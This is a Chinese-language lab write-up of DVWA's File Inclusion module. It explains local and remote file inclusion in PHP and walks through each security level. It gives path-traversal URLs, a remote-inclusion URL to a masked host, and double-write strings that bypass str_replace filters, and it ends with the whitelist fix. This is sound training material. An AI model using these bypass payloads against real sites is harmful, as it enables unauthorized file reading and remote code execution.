DVWA之File Inclusion

参考链接:http://www.freebuf.com/articles/web/119150.html

文件包含漏洞

文件包含漏洞是”代码注入”的一种。”代码注入”这种攻击，其原理就是注入一段用户能控制的脚本或代码，并让服务端执行。”代码注入”的典型代表就是文件包含(File Inclusion)

。文件包含可能会出现在JSP,PHP,ASP等语言中。

在PHP中主要有四个函数:

include()：执行到include时才包含文件，找不到被包含文件时只会产生警告，脚本将继续执行

require()：只要程序一运行就包含文件，找不到被包含的文件时会产生致命错误，并停止脚本

include_once()和require_once()：若文件中代码已被包含则不会再次包含

文件包含漏洞又分为两部分:本地文件包含和远程文件包含

LOW

服务端核心代码:

$file=$_GET['page'];
>

需要特别说明的是，服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行，如果文件内容确为php，则会正常执行并返回结果，如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

本地文件包含漏洞

能够打开并包含本地文件的漏洞，被称为本地文件包含漏洞(Local File Inclusion,简称LFI)

• 随意构造?page=2333333,发现错误报告（开了错误提示为前提)
  
  虽然Windows不能直接获取文件，但是给出的错误信息中爆出了绝对路径D:\appserv\www\DVWA-master\
  
  构造url(绝对路径)

  http://localhost/DVWA-master/vulnerabilities/fi/?page=D:\appserv\www\DVWA-master\php.ini

得到php.ini的信息

; This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen = On allow_url_include = On

构造url(相对路径)

http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../../../../../../appserv/www/DVWA-master/php.ini

这里加多次../是为了可以保证回到根目录

远程文件包含漏洞

当服务器的php配置中，选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件，如果对文件来源没有检查的话，就容易导致任意远程代码执行。

这里需要一个服务器(我这里不放出真正的ip)

在远程服务器xxx.xxx.x.xx上传一个1.php文件，内容为hello.

构造url

http://localhost/DVWA-master/vulnerabilities/fi/?page=http://xxx.xxx.x.xx/1.php

可以看到页面输出hello

Medium

服务端核心代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看出同样是str_repalce函数。可以采用双写绕过替换规则

• 第一个的http://与https://主要针对远程服务器的，可采用如下格式:
  

  http://localhost/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://xxx.xxx.x.xx/1.php

str_replace函数会将http://替换成空白，从而成功执行远程命令

• 第二的../与../也同样可以用双写规则绕过，不过对绝对路径的方式包含文件没有影响
  

http://localhost/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././appserv/www/DVWA/php.ini

成功爆出php.ini的信息

HIGH

服务端核心代码:

File Inclusion Source
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?>

High级别使用了fnmatch函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。

High级别的代码规定只能包含file开头的文件，不过我们依然可以利用file协议绕过

成功读取服务器的配置文件

Impossible

服务器端核心代码

<?php  
  
// The page we wish to display  
$file = $_GET[ 'page' ];  
  
// Only allow include.php or file{1..3}.php  
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {  
    // This isn't the page we want!  
    echo "ERROR: File not found!";  
    exit;  
}  
  
?>

可以看到，Impossible级别的代码使用了白名单机制进行防护，简单粗暴，page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一，彻底杜绝了文件包含漏洞。